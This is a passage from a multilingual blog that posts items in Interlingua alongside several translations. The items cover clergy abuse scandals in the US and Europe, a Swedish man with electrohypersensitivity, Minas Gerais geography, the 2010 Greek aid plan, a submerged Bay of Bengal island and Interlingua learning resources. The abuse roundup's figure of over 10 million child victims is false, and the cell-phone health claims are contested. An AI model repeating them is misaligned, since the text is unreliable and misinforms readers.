Arquidiocese de Munique e Freising, foi suspenso de suas funções após violar uma proibição de trabalhar com menores, e a diocese de Regensburg confirmou novas acusações contra quatro padres e duas freiras, em casos que teriam ocorrido nos anos 70.\nO governo alemão anunciou em seguida que vai formar uma comissão de especialistas para investigar todas as acusações.\nIRLANDA:\nNo ano passado, dois documentos que examinaram acusações de pedofilia entre clérigos irlandeses relevaram a profundidade do problema no país, com casos de abuso e falhas hierárquicas envolvendo milhares de vítimas durante várias décadas.\nUm dos documentos mostrou que quatro arcebispos de Dublin não fizeram nada sobre os abusos que ocorreram entre 1975 e 2004.\nQuatro bispos renunciaram e toda a hierarquia da Igreja irlandesa foi convocada ao Vaticano para depor pessoalmente diante do papa Bento 16.\nEntão um novo escândalo foi revelado neste mês de março com a informação de que o chefe da Igreja Católica Irlandesa, cardeal Sean Brady, estava presente em reuniões realizadas em 1975, quando crianças fizeram um voto de silêncio sobre reclamações contra um padre pedófilo, Brendan Smyth.\nDias depois, em 20 de março, o papa Bento 16 se desculpou a vítimas de abuso sexual por clérigos da Irlanda, mas não mencionou denúncias em outros países.\nHOLANDA:\nMesmo agora, neste mês de março, os bispos da Holanda pediram uma investigação independente por causa de mais de 200 acusações de abuso sexual por sacerdotes, e três casos ocorreram entre 1950 e 1970.\nInicialmente, as acusações envolviam a escola do mosteiro de Don Rua, no leste da Holanda. O escândalo fez surgir dezenas de novas alegações de supostas vítimas em outras instituições do país.\nITÁLIA:\nEm janeiro de 2009, vários homens surdos vieram a público para dizer que foram abusados quando eram crianças no Instituto para Surdos Antonio Provolo, na cidade de Verona, entre 1950 e 1980.\nNo fim do ano passado, a agência de notícias Associated Press obteve uma declaração por escrito de 67 ex-alunos da escola nomeando 24 padres e outros religiosos a quem acusavam de abuso sexual e castigos físicos.\nA diocese de Verona disse que pretendia entrevistar as vítimas, depois de uma solicitação do Vaticano.\nÁUSTRIA:\nAcusações independentes de abuso sexual infantil por padres surgiram em várias regiões do país. Após um dos escândalos, cinco padres de um mosteiro em Kremsmuesnter foram suspensos.\nEm Salzburgo, o chefe de um mosteiro local renunciou ao cargo após confessar ter abusado de um menino há 40 anos, quando ele era monge.\nSUÍÇA:\nUma comissão formada pela Conferência dos Bispos da Suíça em 2002 vem investigando acusações de abuso envolvendo religiosos do país.\nEste mês, um membro da comissão, o abade Martin Werlen disse em uma entrevista que cerca de 60 pessoas fizeram acusações sobre casos que teriam ocorrido nos últimos 15 anos.\nUm padre do cantão de Thurgau foi preso no último dia 19 sob suspeita de abuso sexual de menores.\n---\nThe moral reputation of the Roman Catholic Church continues to fall because of its international sex scandals.\nHistorically, there have been many factors--with the inquisition as perhaps the worst among them--that have contributed to the decline of the moral authority of the Catholic Church, and indirectly of Christianity itself. Starting toward the end of the twentieth century, the sexual scandals of the Church have eroded its moral authority even further. Below is a list of the latest of these scandals in the United States and several European countries:\nUNITED STATES:\nOn Thursday, \"The New York Times\" revealed that in 1996, Cardinal Joseph Ratzinger, who went on to become Pope Benedict 16 in 2005, did not respond to letters from American clergymen who accused a Wisconsin priest of molesting minors. Father Lawrence Murphy, who died in 1998, is suspected of abusing 200 boys in a school for the deaf between 1950 and 1974. One of the alleged victims said that the Pope knew of the allegations for years, but he did nothing to solve the problem.\nIn the last two decades, the Catholic Church in the United States--especially the Archdiocese of Boston--was involved in a series of scandals of sexual abuse.\nOne of the cases that caused the greatest shock to the people of Boston revealed that two Boston priests, Paul Shanley and John Geoghan, had been involved in cases of abuse in the nineties and were apparently protected by church leaders, who transferred them from parish to parish.\nIn 2002, Pope John Paul 2nd convened an emergency meeting with American cardinals, but new scandals emerged.\nBecause of these scandals, Archbishop Bernard Law finally had to resign the end of that year, and in 2003, the Archdiocese of Boston reached an agreement to pay $85 million after being confronted with 500 cases of abuse.\nA report commissioned by the church in 2004 found that more than 4,000 U.S. priests have faced accusations of sexual abuse in the past 50 years in cases involving more than 10 million children, mainly boys.\nIn 2008, on a visit to the United States, Benedict met with 16 victims of abuse and spoke about \"the pain and harm\" provoked by these cases of abuse.\nGERMANY:\nSince the beginning of 2010, at least 300 people have accused Catholic priests in Germany of sexual or physical abuse. The allegations are being investigated in eighteen of the twenty-seven Catholic dioceses in the homeland of Pope Benedict XVI.\nAmong the charges is the abuse of more than 170 children by priests in the Jesuit schools, as well as cases in a children's choir headed for thirty years by Monsignor Georg Ratzinger, brother of the pope.\nIn March, Father Peter Hullermann, who was convicted of molesting children while serving in the Archdiocese of Munich and Freising, was suspended from duty after violating a prohibition on working with minors, and the diocese of Regensburg has new allegations against four priests and two nuns, in cases that apparently occurred in the 70s.\nThe German government then announced it will form a committee of experts to investigate all charges.\nIRELAND:\nLast year, two papers that examined allegations of pedophilia among Irish clergy revealed the depth of the problem in the country, with cases of abuse and hierarchical failures involving thousands of victims over several decades.\nOne of the documents showed that four archbishops of Dublin failed to do anything about abuses that occurred between 1975 and 2004.\nFour bishops resigned and the entire hierarchy of the Irish Church was summoned to the Vatican to personally testify before the Pope Benedict XVI.\nThen a new scandal came to light in March with information that the head of the Irish Catholic Church, Cardinal Sean Brady, was present at meetings in 1975, when children made a vow of silence on complaints against a pedophile priest, Brendan Smyth.\nDays later, on March 20, Pope Benedict XVI apologized to victims of sexual abuse by clergy in Ireland but did not mention complaints in other countries.\nHOLLAND:\nEven now in this month of March, the bishops of the Netherlands requested an independent investigation because of more than 200 allegations of child sexual abuse by priests, and three cases occurred between 1950 and 1970.\nInitially, the complaints involved the school of the monastery of Don Rua, in the east of the Netherlands. The scandal has opened dozens of new claims of alleged victims in other institutions.\nITALY:\nIn January 2009, several deaf men made public statements that they were abused as children at the Antonio Provolo Institute for the Deaf, in the city of Verona, between 1950 and 1980.\nAt the end of last year, the Associated Press obtained a written statement from sixty-seven former students of the school naming twenty-four priests and other religious leaders who they accused of sexual and physical abuse.\nThe diocese of Verona said that it intended to interview the victims after a request from the Vatican.\nAUSTRIA:\nIndependent charges of child sexual abuse by priests emerged in various regions of the country. After one of the scandals, five priests in a Kremsmuesnter monastery were suspended.\nIn Salzburg, the head of a local monastery resigned after pleading guilty to abusing a boy 40 years ago, when he was a monk.\nSWITZERLAND:\nA committee formed by the Conference of Bishops of Switzerland in 2002 has been investigating allegations of abuse involving religious figures in the country.\nThis month, a committee member, Abbot Martin Werlen, said in an interview that about 60 people made complaints about cases that have occurred over the past fifteen years.\nA priest of the canton of Thurgau was arrested in the last 19 days on suspicion of sexual abuse of minors.\nPosted by hkyson at 12:53 PM\n(Languages of this post: Interlingua, English)\nSecundo un articulo in \"Popular Science\", martio, 2010, un homine svedese debe habitar in un cabana isolate in le foreste 75 milas al nord de Stockholm proque ille debe evitar omne campos electromagnetic. Illos le face malade. Ille debe mantener un limitate association con altere gente proque le technologia le face multo malade physicamente.\nIn le ultime estate quando ille perambulava vicin a su casa, ille incontrava un vicino, e illes comenciava un conversation. Tosto le telephono cellular de su vicino sonava, e Per Segerbäck, de 54 annos de etate, esseva superate con le nausea. Post alicun pauc secundas, ille deveniva inconsciente.\nSegerbäck ha un condition con le nomine electrohypersensitivitate (EHS), que implica que ille ha reactiones physic sever al radiation electromagnetic producite per apparatos como computatores, de televisiones, e telephonos cellular.\nUn telephono cellular debe esser in uso, transmittente o recipente signales, pro producer tal effectos. Isto occurre quando le radiation es le plus forte. Telephonos cellular que es active e que non recipe o transmitte signales non produce radiation sufficientemente forte pro producer su effectos sur homines como Segerbäck.\nLe symptomas varia desde sensationes ardente sur le pelle a vertigine e nausea, problemas con dormir, e perdita de memoria in casos vermente sever. In casos extreme como illo de Segerbäck, il ha palpitationes del corde e perdita de conscientia.\nSvedia es le sol pais que recognosce iste maladia e va a pagar personas con iste condition pro \"sanitisar\" lor casas. In casos de necessitate, illes va a installer blindage metallic pro blocar tal radiation.\nLe radiation que produce iste effectos in Segerbäck es radiation nonionisante. Radios X, bombas atomic, e altere formas de radiation nuclear es ionisante e pote producer sever damnos del corpore, includente le cancere. Ma radiation de basse frequentia e radiation de radiodiffusion es nonionisante, e generalmente on lo reguarda como innocue. Alicun recerca ha determinate que le telephonos cellular es innocue, e le governamento del Statos Unite non recognosce ulle problemas con radiation nonionisante. Usque nunc nulle cancere ha essite positivemente associate con le uso de telephonos cellular.\nSegerbäck un vice esseva un excellente ingeniero de telecommunicationes. Ille esseva empleate per Ellemtel, un division del gigante corporation de telecommunications Ericson, pro plus que 20 annos como le chef de un gruppo de ingenieros qui designava circuitos integrate avantiate pro systemas de telecommunicationes prototypic. Ille usava equipamento le plus nove e le plus advantiate de computatores e telecommunicationes, e ille esseva totalmente inundate durante su empleo con un banio de radiation nonionisante a partir de computatores, luminas fluorescente, e antennas de telecommunicationes vicin a su fenestra.\nSu prime symptomas esseva vertigine, nausea, males de capite, e sensationes ardente super su pelle verso le fin del annos 1980 post un decada in su labor de recerca. Omnes minus duo de su gruppo de circa 20 ingenieros ha reportate simile simptomas, ben que le symptomas de Segerbäck esseva le plus sever.\nSu maladia deveniva pejor. Mesmo le radar de aviones a base altitude poteva producer un attacco in Segerbäck. Ille crede que le constante banio de radiation non ionisante durante su labor e le fumos toxic de su nove computator esseva responsabile pro su condition.\nQuando alteres in su division disveloppava simile simptomas associate con le nove computatores, su compania deveniva preoccupate con illo e construeva nove officios con blindage contra le radiation nonionisante. Segerbäck esseva un membro essential e importante del equipa de recrecatores, e illes voleva retener le in lor empleo. Illes le dava un vestimento con blindage e un Volvo con blindage. E ille continuava de iste maniera usque le numero de turres ce telephonos cellular deveniva tan extensive in le 1990s que ille debeva retirar al foreste.\nLo que es cognoscite per le radiation nonionisante de telephonos cellular es que le radiation es le plus intense al antenna que es in le apparato portabile mesme del telephono. Quando iste apparato es ponite al capite, le radiation pote penetrar al cerebro. Le profunditate del penetration depende sur le frequentia del radiation. Telephonos cellular functiona in le frquentias inter 800 e 2200 megahertz. Radios e televisions functiona a un ferquentia plus basse, e furnos a microundas e radars functiona a frequentias mesmo plus alte.\nUn scientista svedese qui studia le genetica ha monstrate que le radiation electromagnetic a 900 megahertz, un frequentia usate per telephones cellular, pote inhibir le reparation del ADN in un varietate de cellulas. Le reparation de tal rupturas de ADN es essential pro inhibir le initiation de leukemia e certe tumores, includente gliomas in le cerebro. Altere recercatores ha trovate que le radiation electromagnetic de circa 900 megahertz pote interferer con le excambio de signales in le cellulas del cerebro.\nIn usar un telephono cellular il es possibilemente un bon idea augmentar le distantia inter le apparato manual e le cerebro. Si on pote usar un auricular connectite per un filo al apparato a mano, isto pote reducer le intensitate de radiation al capite.\n---\nA Swedish man gets sick from electromagnetic radiation.\nAccording to an article in \"Popular Science,\" March, 2010, a Swedish man must live in an isolated cabin in the forest 75 miles north of Stockholm because he must avoid all magnetic fields. They make him ill. He must maintain a limited association with other people because technology makes him very sick physically.\nLast summer when he was walking near his home, he ran into a neighbor, and they started a converstion. Soon his neighbor's cell phone rang, and Per Segerback, 54 years old, was overcome with nausea. After a few seconds, he became unconscious.\nSegerback has a condition with the name electrohypersensitivity (EHS), which means that he has severe physical reactions to electromagnetic radiation produced by appliances such as computers, televisions, and cell phones.\nA cell phone must be in use, transmitting or receiving signals, to produce such effects. This occurs when the radiation is strongest. Cell phones that are active and that are not receiving or transmitting signals do not produce radition that is strong enough to produce its effects on men like Segerback.\nThe symptoms vary from hot feelings on the skin to dizziness and nausea, problems with sleeping, and loss of memory in truly severe cases. In extreme casis like Segerback's, there are palpitations of the heart and a loss of consciousness.\nSweden is the only country that recognizes this illness and is going to pay people with this condition to \"sanitize\" their houses. In cases of necessity, they are going to install metallic shielding to block such radiation.\nRadition that produces these effects in Segerback are nonionizing radition. X rays, atomic bombs, and other forms of nuclear radiation are ionizing and can produce severe bodily damage, including cancer. But low-frequency radiation and radio waves are non-ionizing, and generally it is regarded as harmless. Some research has determined that cell phones are harmless, and the government of the United States does not recognize any problems with nonionizing radiation. Up to now no cancer has been positively associated with the use of cell phones.\nSegerback once was an excellent telecommunications engineer. He was employed by Ellemtel, a division of the giant telecommunications company Ericson, for more than twenty years as the head of a group of engineers who designed advanced integrated circuits for prototypical systems of telecommunications, and he was totally flooded on the job with a bath of nonionizing radition coming from computers, fluorescent lights, and telecommunications antennas next to his window.\nHis first symptoms were dizziness, nausea, headaches, and hot feelings on his skin toward the end ot the 1980s after a decade of research work. All those in his group of around twenty engineers, except for two, have reported similar symptoms, though Segerback's symptoms were the most severe.\nHis illness got worse. Even the radar of airplanes at low altitude could produce an attack in Segerback. He believes that the constant bath of non-ionizing radiation during his work and the toxic fumes of his new computer were responsible for his condition.\nWhen others in his division developed similar symptons associated with the new computers, his company started to worry and built new offices with shielding against nonionizing radiation. Segerback was an essential and important member of the team of researchers, and they wanted to keep him on the job. They gave him shielded clothing and a Volvo with shielding. And he continued like this until the number of cell phone towers got so great in the 1990s that he had to retire to the forest.\nWhat is known about the nonionizing radition of cell phones is that it is more intense near the antenna that is in the portable phone itself. When such phones are put next to a person's head, the radiation can penetrate into the brain. The depth of penetration depends on the frequency of the radiation. Cell phones work in frequencies between 800 and 2200 megahertz. Radios and televisions work at lower frequencies, and microwave ovens and radars work at even higher frequencies.\nA Swedish scientist who studies genetics has shown that electromagnetic radition at 900 megahertz, a frequency used by cell phones, can inhibit the repair of DNA in a variety of cells. The repair of such ruptures of DNA is essential to inhibit the start of leukemia and certain tumors, including gliomas in the brain. Other researchers have found that electromagnetic radiation of around 900 megahertz can interfere with the exchange of signals in brain cells.\nIn using a cell phone it is possibly a good idea to increase the distance between the hand set and the brain. If you can use a headphone connected by a wire to the hand set, this can reduce the intensity of radiation to the head.\nPosted by hkyson at 12:06 AM\nSaturday, March 27, 2010\n(Languages of this post: Interlingua, English)\nMinas Gerais (Minas General) es un del 26 statos del Brasil. Como indica su nomine, le stato es multo ric in minerales. Su capital, Belo Horizonte, se trova presso le area central del stato e es ben cognoscite pro su architectura e arte colonial in citates historic como Ouro Preto, Diamantina, Tiradentes, e Serro.\nLe geographia del stato es notabile pro su montes, valles, e grande areas de terrenos fertile. In le Serra do Cipó, Sete Lagoas, Cordisburgo, e Lagoa Santa, le cavernas e cascadas de aqua es attractiones importante pro touristas qui vista le stato. Alicunes del cavenas le plus famose del Brasil se trova in ille stato.\nMinas Gerias se trova in le west del parte sudest del Brasil. Illo ha frontieras con Bahia e Goiás in le nord, Mato Grosso do Sul in le est distante, le statos de São Paulo e Rio de Janeiro in le sud, e le stato de Espírito Santo in le est.\nIste stato es anque le fonte de alicunes del fluvios le plus grande del Brasil, notabilemente le São Francisco, le Paraná, tanto como le Rio Doce. Minas Gerais anque ha multe plantas hydroelectric, includente Furnas.\nAlicunes del montes le plus alte del Brasil se trova in le parte meridional del stato. Le monte le plus notabile es le Pico da Bandira, con un altitude de 2890 metros (3161 yards), que se trova in le frontiera con le stato de Espírito Santo. Minas Gerais anque ha grandissime reservas de ferro, tanto como auro e gemmas de diverse tipos.\n---\nSome Brief Notes about Minas Gerais and its Geography\nMinas Gerais (General Mines) is one of the twenty-six states of Brazil. As its name indicates, the state is very rich in minerals. Its capital, Belo Horizonte, is located near the central part of the state and is well known for its architecture and colonial art in historical cities such as Ouro Preto, Diamantina, Tiradentes, and Serro.\nThe geography of the state is notable for its mountains, valleys, and great expanses of fertile lands. In Serra do Cipo, Sete Lagos, Cordisburgo, and Lagoa Santa, the caves and waterfalls are important attractions for tourists who visit the state. Some of the most famous caves of Brazil can be found in that state.\nMinas Gerais is in the west of the southeastern part of Brazil. It has borders with Bahia and Goias in the north, Mato Grosso do Sul in the far east, the states of Sao Paulo and Rio de Janeiro in the south, and the state of Espirito Santo in the east.\nThis state is also the source of some of the largest rivers in Brazil, notably the Sao Francisco, the Parana, as well as the Rio Doce. Minas Gerais also has many hydroelectric plants, including Furnas.\nSome of the highest mountains in Brazil are in the southern part of the state. The most notable mountain is Pico da Bandira, with an altitude of 2,890 meters (3,161 yards), which borders on the state of Espirito Santo. Minas Gerais also has very large reserves of iron, as well as gold and gems of various kinds.\nPosted by hkyson at 7:03 PM\n(Languages of this post: Interlingua, Spanish, Portuguese, English)\nLe leaders de 16 paises que utilisa le euro approbava le plano franco-german de adjuvar economicamente Grecia, que offere prestos bilateral e include le possibilitate de prestos del Fundo Monetari International.\nLe plano esseva annunciate post un reunion inter le presidente francese, Nicolas Sarkozi, e le cancellero german, Angela Merkel, ante le reunion del culmine del Union Europee.\nSecundo le accordo, le adjuta solmente se concedera a Grecia si le pais non pote obtener le moneta in prestos de altere canales in le mercato financiari.\nPost le annuncio del appoio de altere paises del zona del euro, le prime ministro grec, George Papandreou, describeva le plano de salvamento como \"multo satisfactori\".\nSecundo le presidente del Consilio Europee, Herman Van Rompuy, le accordo es significative, \"non solmente pro Grecia, ma pro le stabilitate del zona del euro\".\nLe presidente del Comission Europee, le organo executive del bloco, Jose Manuel Borroso, diceva que ille se trovava \"multo contente\" pro le accodo, que ille classificava como \"le decision correcte\".\nLe deficit public de Grecia, le 12,7% del PIB, es plus que quatro vices superior a lo que permitte le regulas imponite sur le 16 paises del Union Europee que utilisa le euro.\nMesmo ante le annuncio, Germania habeva resistite le pression del publico de altere paises europee a un accordo sur un pachetto de adjuta al grecos.\nMa le jovedi, Merkel diceva que Germania poterea adjuvar le grecos, desde que le mensura esseva in terminos defendite per Germania in forma de \"adjuta de emergencia que combina le FMI e le adjuta bilateral in le zona del euro\", ma solmente si ille adjuta finalmente esseva absolutemente necesse.\nLe possibilitate de adjuta del FMI a Grecia provocava le resistentia de Francia e altere europeos, que solmente voleva participation europee in le pachetto.\n---\nLa países de la zona del euro aprobaron un plan de ayuda financiera a Grecia\nLos líderes de 16 países que utilizan el euro aprobaron el plan franco-germánico de ayudar económicamente a Grecia, que ofrece préstamos bilaterales e incluye la posibilidade de préstamos del Fondo Monetario Internacional.\nEl plan fue anunciado tras una reunión entre el presidente francés Nicolas Sarkozy, y la canciller alemana, Angela Merkel, antes de la cumbre de la Unión Europea.\nSegún el acuerdo, la ayuda sólo se concederá a Grecia si el país no logra captar el dinero en préstamos a través de otros canales en el mercado financiero.\nTras el anuncio del apoyo de otros países de la zona del euro, el primer ministro griego, George Papandreou, describió el plan de rescate como \"muy satisfactorio\".\nSegún el presidente del Consejo Europeo, Herman Van Rompuy, el acuerdo es significativo, \"no sólo para Grecia, sino para la estabilidad de la zona del euro\".\nEl presidente de la Comisión Europea, órgano ejecutivo del bloque, José Manuel Barroso, dijo que estaba \"muy contento\" por el acuerdo, que clasificó como \"la decisión correcta\".\nEl déficit público de Grecia, el 12,7% del PIB, es más de cuatro veces superior a lo que permiten las reglas impuestas en los 16 países de la Unión Europea que utilizan el euro.\nIncluso antes del anuncio, Alemania se había resistido a la presión del público de otros países europeos a un acuerdo sobre un paquete de ayuda a los griegos.\nPero el jueves, Merkel dijo que Alemania podría ayudar a los griegos, puesto que la medida estaba en terminos defendidos por Alemania en la forma de \"ayuda de emergencia que combina el FMI y la ayuda bilateral en la zona del euro\", pero solamente si esa ayuda finalmente resultó ser absolutamente necesaria.\nLa posibilidad de ayuda del FMI a Grecia encontró la resistencia de Francia y otros países europeos, que sólo querían participación europea en el paquete.\n---\nA zona do euro aprova um plano de ajuda financeira à Grécia\nLíderes dos 16 países que usam o euro aprovaram o plano franco-germânico para ajudar financeiramente a Grécia, que prevê empréstimos bilaterais e inclui a possibilidade de empréstimos do Fundo Monetário Internacional.\nO plano foi anunciado após um encontro entre o presidente francês, Nicolas Sarkozy, e a chanceler alemã, Angela Merkel, que antecedeu a cúpula da União Europeia.\nPelo acordo, a ajuda só será concedida à Grécia se o país não conseguir captar o dinheiro em empréstimos por outros canais no mercado financeiro.\nApós o anúncio do apoio dos outros países da zona do euro, o primeiro-ministro grego, George Papandreou, classificou o plano de resgate como \"muito satisfatório\".\nSegundo o presidente do Conselho Europeu, Herman Van Rompuy, o acordo é significativo \"não apenas para a Grécia, mas para a estabilidade da zona do euro\".\nO presidente da Comissão Europeia, órgão executivo do bloco, Jose Manuel Barroso, disse que estava \"extremamente feliz\" pelo acordo, que classificou como \"a decisão certa\".\nO déficit público da Grécia, de 12,7% do PIB, é mais de quatro vezes maior do que o permitido pelas regras impostas aos 16 países da União Europeia que usam o euro.\nAté antes do anúncio, a Alemanha vinha resistindo publicamente à pressão de outros países europeus para concordar com um pacote de ajuda aos gregos.\nMas nesta quinta-feira, Merkel indicou que a Alemanha aceitaria ajudar os gregos, desde que a medida fosse nos termos defendidos pela Alemanha, na forma de \"ajuda emergencial combinando o FMI e auxílio bilateral da zona do euro\", mas apenas se essa ajuda finalmente provou ser absolutamente necessária.\nA possibilidade de ajuda à Grécia encontrava a resistência da França e de outros países europeus, que queriam apenas a participação europeia no pacote.\n---\nEuro area countries approve a plan for financial assistance to Greece.\nLeaders of 16 countries that use the euro approved the Franco-Germanic plan to help Greece financially, which provides bilateral loans and includes the possibility of loans from the International Monetary Fund.\nThe plan was announced after a meeting between French President Nicolas Sarkozy and German Chancellor Angela Merkel, which took place before the summit of the European Union.\nUnder the agreement, the aid will be granted to Greece only if the country fails to get the money in loans through other channels of the financial market.\nAfter the announcement of support from other countries in the euro area, the Greek prime minister, George Papandreou, described the bailout plan as \"very satisfactory.\"\nAccording to the president of the European Council, Herman Van Rompuy, the agreement is significant, \"not only for Greece but for the stability of the euro area.\"\nThe president of the European Commission, the executive body of the block, Jose Manuel Barroso, said he was \"extremely happy\" about the agreement, which he called \"the right decision.\"\nThe public deficit of Greece, 12.7% of its GDP, is more than four times higher than what is allowed by the rules imposed on the 16 European Union countries that use the euro.\nEven before the announcement, Germany had resisted public pressure from other European countries to agree on a package of aid to the Greeks.\nBut on Thursday, Merkel said that Germany would help the Greeks, since the measure was in terms advocated by Germany in the form of \"emergency aid combining the IMF and bilateral aid in the euro area,\" but only if such help ultimately proved to be absolutely necessary.\nThe possibility of IMF aid to Greece ran into the resistance of France and other European countries, which wanted only European participation in the package.\nPosted by hkyson at 5:49 PM\n(Languages of this post: Interlingua, Spanish, Portuguese, English)\nPhotos d satellite monstra que un insula in le Oceano Indic, que esseva disputate per le India e Bangladesh, nunc se trova coperite per le aqua del mar.\nLe insula, in le Bahia de Bengal, cognoscite como New Moore Island al indios e como Talpatti South al Bengalis, esseva al sud del fluvio Hariabhanga.\nSecundo le scientistas del Schola de Studios Oceanographic del Universitate Jadavpur de Calcutta, India, le nivello del mar ha state a crescer in iste area como un del effectos del calefaction global.\nLe sito, con un area de circa 10 kilometros quadrate, nunquam ha essite habitate de un maniera permanente e nunquam esseva plus que duo metros sur le nivello del mar.\nIn le passato le insula esseva visitate per naves de mercantia indian, e le Fortia de Securitate del Frontiera inviava un contingente temporaneemente al insula a causa del disputa territorial con Bangladesh.\nSecundo le professor Sugata Hazra, del Universitate de Jadavpur, ulle persona qui vole visitar le insula nunc ha le necessitate de un submarino. Ille diceva que su studios revelava que le nivellos del mar in le Gulfo de Bengala ha augmentate multo plus rapidemente in le ultime decada que durante le 15 annos anterior. Ille anque predice que in le proxime decada altere insulas in le region del Sundararans, in le costa inter India e Bangaladesh, anque va a disapparer sub le aqua.\n---\nUna isla en el Océano Índico, desaparece con un aumento del nivel del mar.\nFotos de satélite muestran que una isla en el Océano Índico, que fue disputada por la India y Bangladesh, está cubierta con el agua del mar.\nLa isla, en la Bahía de Bengala, conocida como New Moore Island a los indios y como Talpatti South a los bengalíes, estaba al sur del río Hariabhanga.\nSegún los científicos de la Escuela de Estudios Oceanográficos de la Universidad Jadavpur de Calcuta, India, el nivel del mar ha ido creciendo en esta área como uno de los efectos del calentamiento global.\nEl sitio, con un área de cerca de 10 kilómetros cuadrados, nunca ha sido habitada de forma permanente y nunca estaba más de dos metros sobre el nivel del mar.\nEn el pasado la isla fue visitada por los cargueros indios, y la Fuerza de Seguridad de la Frontera envió un contingente temporalmente a la isla debido a la disputa territorial con Bangladesh.\nSegún el profesor Sugata Hazra, de la Universidad de Jadavpur, quien quiera visitar la isla ahora necesita un submarino. Él dijo que sus estudios revelaron que los niveles del mar en el Golfo de Bengala han aumentado mucho más rápidamente en la última década que los 15 años anteriores. Él también predice que en la próxima década otras islas de la región del Sundarbans, en la costa entre la India y Bangladesh, también van a desaparecer debajo del agua.\n---\nUma ilha no Oceano Índico, desaparece com um aumento no nível do mar.\nFotos de satélite recentes mostram que uma ilha no Oceano Índico, que foi disputada pela Índia e de Bangladesh, está coberta com a água do mar.\nA ilha, na Baía de Bengala, conhecida como New Moore Island para os índios e Talpatti South para os bengaleses, ficava ao sul do rio Hariabhanga.\nSegundo os cientistas da Escola de Estudos Oceanográficos da Universidade Jadavpur, em Calcutá, na Índia, o nível do mar tem vindo a crescer nessa área, como um dos efeitos do aquecimento global.\nO local, com uma área de cerca de 10 km², nunca foi habitado de forma permanente e nunca ficou mais do que dois metros acima do nível do mar.\nNo passado a ilha foi visitada por cargueiros indianos, e a Força de Segurança da Fronteira enviou um contingente de forma temporária à ilha, devido à disputa territorial com Bangladesh.\nDe acordo com o professor Sugata Hazra, da Universidade de Jadavpur, quem quiser visitar a ilha agora precisará de um submarino. Ele disse que seus estudos revelaram que os níveis do mar nesta região do Golfo de Bengala subiram muito mais rápido na última década do que nos 15 anos anteriores. Ele também prevê que na próxima década outras ilhas da região da Sundarbans, na costa entre Índia e Bangladesh, também vão desaparecer debaixo da água.\n---\nAn island in the Indian Ocean disappears as sea level increases.\nRecent satellite photos show that an island in the Indian Ocean that has been disputed by India and Bangladesh is now covered with sea water.\nThe island in the Bay of Bengal, known as New Moore Island to the Indians and Talpatti South the the Bangladeshis, was south of the Hariabhanga River.\nAccording to scientists at the School of Oceanographic Studies of Jadavpur University in Calcutta, India, sea level has been growing in this area as one of the effects of global warming.\nThe site, with an area of about 10 square kilometers (3.9 square miles), has never been inhabited permanently and was never more than two meters above sea level.\nIn the past the island was visited by freighters, and the Border Security Force sent a contingent to the island because of a dispute with Bangladesh.\nAccording to Professor Sugata Hazra, University of Jadavpur, whoever wants to visit the island now will need a submarine. He said his studies showed that sea levels in the Gulf of Bengal rose much faster in the last decade than the previous fifteen years. He also predicts that in the next decade other islands in the Sundarbans region between India and Bangladesh will disappear under water.\nPosted by hkyson at 5:07 PM\n(Languages of this post: Interlingua, Spanish, Catalan, Galician, Portuguese, French, Italilan, English)\nWikipedia contene un excellente ressource que pote esser utilisate pro apprender le pronunciation de interlingua [http:\/\/ia.wikipedia.org\/wiki\/Categoria:Articulos_con_audio]. Iste sito presenta un serie de articulos in forma scribite que anque on pote ascoltar in un pronunciation excellente. Il pare que on ha dedicate multe travalio al preparation de iste sito, que es multo digne de studio per personas qui prefere studiar le pronunciation legente e ascoltante le mesme textos simultaneemente.\n---\nWikipedia contiene un excelente recurso que puede ser utilizado para aprender la pronunciación de Interlingua [http:\/\/ia.wikipedia.org\/wiki\/Categoria:Articulos_con_audio]. Este sitio presenta una serie de artículos en forma escrita que también se puede escuchar en una pronunciación excelente. Parece que mucho trabajo se ha dedicado a la preparación de este sitio, que es muy digno de estudio por personas que prefieren estudiar la pronunciació leyendo e escuchando a los mismos textos simultáneamente.\n---\nWikipedia conté un excel.lent recurs que pot ser utilitzat per aprendre la pronunciació de Interlingua [http:\/\/ia.wikipedia.org\/wiki\/Categoria:Articulos_con_audio]. Aquest lloc presenta una sèrie d'articles en forma escrita que també es pot escoltar en una pronunciació excel.lent. Sembla que molta feina s'ha dedicat a la preparació d'aquest lloc, que és molt digne d'estudi per persones que prefereixen estudiar la pronunciació llegint i escoltant els mateixos textos simultàniament.\n---\nA Wikipedia contén un excelente recurso que se pode usar para aprender a pronuncia da interlingua [http:\/\/ia.wikipedia.org\/wiki\/Categoria:Articulos_con_audio]. Este sitio presenta unha serie de artigos en forma escrita, que tamén pode ser oídos cunha pronuncia excelente. Parece que moito traballo foi dedicado á preparación deste sitio web, que é moi digno de estudo por persoas que prefiren estudar a pronunciación lendo e escoitando os mesmos textos simultaneamente.\n---\nA Wikipédia tem um excelente recurso que pode ser usado para aprender a pronúncia de interlingua [http:\/\/ia.wikipedia.org\/wiki\/Categoria:Articulos_con_audio]. Este site apresenta uma série de artigos em forma escrita que também podem ser ouvidos com uma pronúncia excelente. Parece que muito trabalho foi dedicado à preparação deste site, que é muito digno de estudo por pessoas que preferem estudar a pronúncia lendo e ouvindo os mesmos textos simultaneamente.\n---\nWikipédia contient une excellente ressource qui peut être utilisée pour l'apprentissage de la prononciation de Interlingua [http:\/\/ia.wikipedia.org\/wiki\/Categoria:Articulos_con_audio]. Ce site présente une série d'articles sous une forme écrite qui peut aussi être entendu en excellente prononciation. Il semble que beaucoup de travail a été consacrée à la préparation de ce site, qui est très digne d'être étudié par des gens qui préfèrent étudier la prononciation en lisant et en écoutant les mêmes textes simultanément.\n---\nWikipedia contiene una risorsa eccezionale che può essere utilizzato per imparare la pronuncia di interlingua [http:\/\/ia.wikipedia.org\/wiki\/Categoria:Articulos_con_audio]. Questo sito presenta una serie di articoli in forma scritta, che può anche essere ascoltato in ottima pronuncia. Sembra che un sacco di lavoro è stata dedicata alla preparazione di questo sito, che è molto degno di studio da parte di persone che preferiscono studiare la pronuncia leggendo e ascoltando gli stessi testia allo stesso tempo.\n---\nWikipedia contains an excellent resource that can be used for learning the pronunciation of Interlingua [http:\/\/ia.wikipedia.org\/wiki\/Categoria:Articulos_con_audio]. This site presents a series of articles in written form that can also be heard in excellent pronunciation. It seems that a lot of work has been dedicated to the preparation of this site, which is very worthy of study by people who prefer to study pronunciation by reading and listening to the same texts at the same time.\nPosted by hkyson at 1:51 AM\nFriday, March 26, 2010\n(Languages of this post: Interlingua, Spanish, Catalan, Galician, Portuguese, French, Italian, English)\nUn admirabile grammatica breve de interlingua redigite in anglese pote trovar se in Wikipedia a [http:\/\/en.wikipedia.org\/wiki\/Interlingua_grammar].\nIl ha diverse fontes de information sur le grammatical de 